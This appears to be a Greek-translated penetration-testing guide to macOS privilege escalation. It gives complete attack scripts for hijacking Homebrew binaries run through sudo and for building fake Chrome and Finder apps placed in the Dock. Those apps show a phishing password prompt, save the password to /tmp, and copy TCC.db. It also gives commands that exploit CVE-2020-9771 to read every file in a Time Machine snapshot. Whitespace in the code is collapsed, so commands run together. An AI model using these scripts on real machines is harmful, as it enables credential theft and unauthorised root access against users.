Παρακαλούμε σημειώστε ότι η πλειοψηφία των κόλπων για επέκταση προνομίων που επηρεάζουν το Linux/Unix θα επηρεάσουν επίσης τις μηχανές MacOS. Οπότε δείτε:
Ωστόσο, το macOS διατηρεί το PATH του χρήστη όταν εκτελεί το sudo. Αυτό σημαίνει ότι ένας άλλος τρόπος για να επιτευχθεί αυτή η επίθεση θα ήταν να απατήσετε άλλα δυαδικά αρχεία που ο θύμα θα εκτελέσει όταν τρέχει το sudo:
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATHcat>/opt/homebrew/bin/ls<<EOF#!/bin/bashif [ "\$(id -u)" -eq 0 ]; thenwhoami > /tmp/privescfi/bin/ls "\$@"EOFchmod+x/opt/homebrew/bin/ls# victimsudols
Σημείωση ότι ένας χρήστης που χρησιμοποιεί το τερματικό θα έχει πιθανότατα εγκατεστημένο το Homebrew. Έτσι, είναι δυνατόν να καταληφθούν δυαδικά αρχεία στο /opt/homebrew/bin.
Παραπλάνηση της Dock
Χρησιμοποιώντας κάποιο κοινωνικό μηχανικό μπορείτε να παραπλανήσετε για παράδειγμα το Google Chrome μέσα στην dock και να εκτελέσετε πραγματικά το δικό σας script:
Ορισμένες προτάσεις:
Ελέγξτε στην dock αν υπάρχει ένα Chrome και σε αυτήν την περίπτωση αφαιρέστε αυτήν την καταχώρηση και προσθέστε την ψεύτικη καταχώρηση του Chrome στην ίδια θέση στον πίνακα της dock.
#!/bin/sh# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';rm-rf/tmp/Google\ Chrome.app/2>/dev/null# Create App structuremkdir-p/tmp/Google\ Chrome.app/Contents/MacOSmkdir-p/tmp/Google\ Chrome.app/Contents/Resources# Payload to executecat>/tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c<<EOF#include <stdio.h>#include <stdlib.h>#include <unistd.h>int main() {char *cmd = "open /Applications/Google\\\\ Chrome.app & ""sleep 2; ""osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";system(cmd);return 0;}EOFgcc/tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c-o/tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chromerm-rf/tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.cchmod+x/tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome# Info.plistcat<<EOF> /tmp/Google\ Chrome.app/Contents/Info.plist<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN""http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>CFBundleExecutable</key><string>Google Chrome</string><key>CFBundleIdentifier</key><string>com.google.Chrome</string><key>CFBundleName</key><string>Google Chrome</string><key>CFBundleVersion</key><string>1.0</string><key>CFBundleShortVersionString</key><string>1.0</string><key>CFBundleInfoDictionaryVersion</key><string>6.0</string><key>CFBundlePackageType</key><string>APPL</string><key>CFBundleIconFile</key><string>app</string></dict></plist>EOF# Copy icon from Google Chromecp/Applications/Google\ Chrome.app/Contents/Resources/app.icns/tmp/Google\ Chrome.app/Contents/Resources/app.icns# Add to Dockdefaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep0.1killallDock
Ορισμένες προτάσεις:
Δεν μπορείτε να αφαιρέσετε τον Finder από τη γραμμή εργαλείων (Dock), επομένως αν πρόκειται να τον προσθέσετε, μπορείτε να τοποθετήσετε τον ψεύτικο Finder δίπλα στον πραγματικό. Για αυτό, χρειάζεται να προσθέσετε την καταχώρηση του ψεύτικου Finder στην αρχή του πίνακα της γραμμής εργαλείων (Dock array).
Μια άλλη επιλογή είναι να μην τοποθετήσετε τον Finder στη γραμμή εργαλείων (Dock) και απλά να τον ανοίξετε, η ερώτηση "Ο Finder ζητάει να ελέγξει τον Finder" δεν είναι και τόσο παράξενη.
Άλλες επιλογές για να αναβαθμίσετε σε root χωρίς να ζητήσετε τον κωδικό πρόσβασης με ένα απαίσιο παράθυρο, είναι να ζητήσετε πραγματικά από τον Finder να ζητήσει τον κωδικό πρόσβασης για να εκτελέσει μια προνομιούχα ενέργεια:
Ζητήστε από τον Finder να αντιγράψει ένα νέο αρχείο sudo στο /etc/pam.d (Η προτροπή που ζητάει τον κωδικό πρόσβασης θα υποδεικνύει ότι "Ο Finder θέλει να αντιγράψει το sudo")
Ζητήστε από τον Finder να αντιγράψει ένα νέο Authorization Plugin (Μπορείτε να ελέγξετε το όνομα του αρχείου, έτσι ώστε η προτροπή που ζητάει τον κωδικό πρόσβασης να υποδεικνύει ότι "Ο Finder θέλει να αντιγράψει το Finder.bundle")
#!/bin/sh# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';rm-rf/tmp/Finder.app/2>/dev/null# Create App structuremkdir-p/tmp/Finder.app/Contents/MacOSmkdir-p/tmp/Finder.app/Contents/Resources# Payload to executecat>/tmp/Finder.app/Contents/MacOS/Finder.c<<EOF#include <stdio.h>#include <stdlib.h>#include <unistd.h>int main() {char *cmd = "open /System/Library/CoreServices/Finder.app & ""sleep 2; ""osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";system(cmd);return 0;}EOFgcc/tmp/Finder.app/Contents/MacOS/Finder.c-o/tmp/Finder.app/Contents/MacOS/Finderrm-rf/tmp/Finder.app/Contents/MacOS/Finder.cchmod+x/tmp/Finder.app/Contents/MacOS/Finder# Info.plistcat<<EOF> /tmp/Finder.app/Contents/Info.plist<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN""http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>CFBundleExecutable</key><string>Finder</string><key>CFBundleIdentifier</key><string>com.apple.finder</string><key>CFBundleName</key><string>Finder</string><key>CFBundleVersion</key><string>1.0</string><key>CFBundleShortVersionString</key><string>1.0</string><key>CFBundleInfoDictionaryVersion</key><string>6.0</string><key>CFBundlePackageType</key><string>APPL</string><key>CFBundleIconFile</key><string>app</string></dict></plist>EOF# Copy icon from Findercp/System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns/tmp/Finder.app/Contents/Resources/app.icns# Add to Dockdefaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep0.1killallDock
TCC - Ανέβασμα Προνομίων σε Root
CVE-2020-9771 - παράκαμψη TCC και ανέβασμα προνομίων με την mount_apfs
Οποιοσδήποτε χρήστης (ακόμα και μη προνομιούχος) μπορεί να δημιουργήσει και να ανεβάσει ένα αντίγραφο ασφαλείας του time machine και να έχει πρόσβαση σε ΟΛΑ τα αρχεία αυτού του αντιγράφου.
Το μόνο προνόμιο που χρειάζεται είναι για την εφαρμογή που χρησιμοποιείται (όπως το Terminal) να έχει Πλήρη Πρόσβαση Δίσκου (FDA) (kTCCServiceSystemPolicyAllfiles) το οποίο πρέπει να χορηγηθεί από έναν διαχειριστή.
# Create snapshottmutillocalsnapshot# List snapshotstmutillistlocalsnapshots/Snapshotsfordisk/:com.apple.TimeMachine.2023-05-29-001751.local# Generate folder to mount itcd/tmp# I didn it from this foldermkdir/tmp/snap# Mount it, "noowners" will mount the folder so the current user can access everything/sbin/mount_apfs-onoowners-scom.apple.TimeMachine.2023-05-29-001751.local/System/Volumes/Data/tmp/snap# Access itls/tmp/snap/Users/admin_user# This will work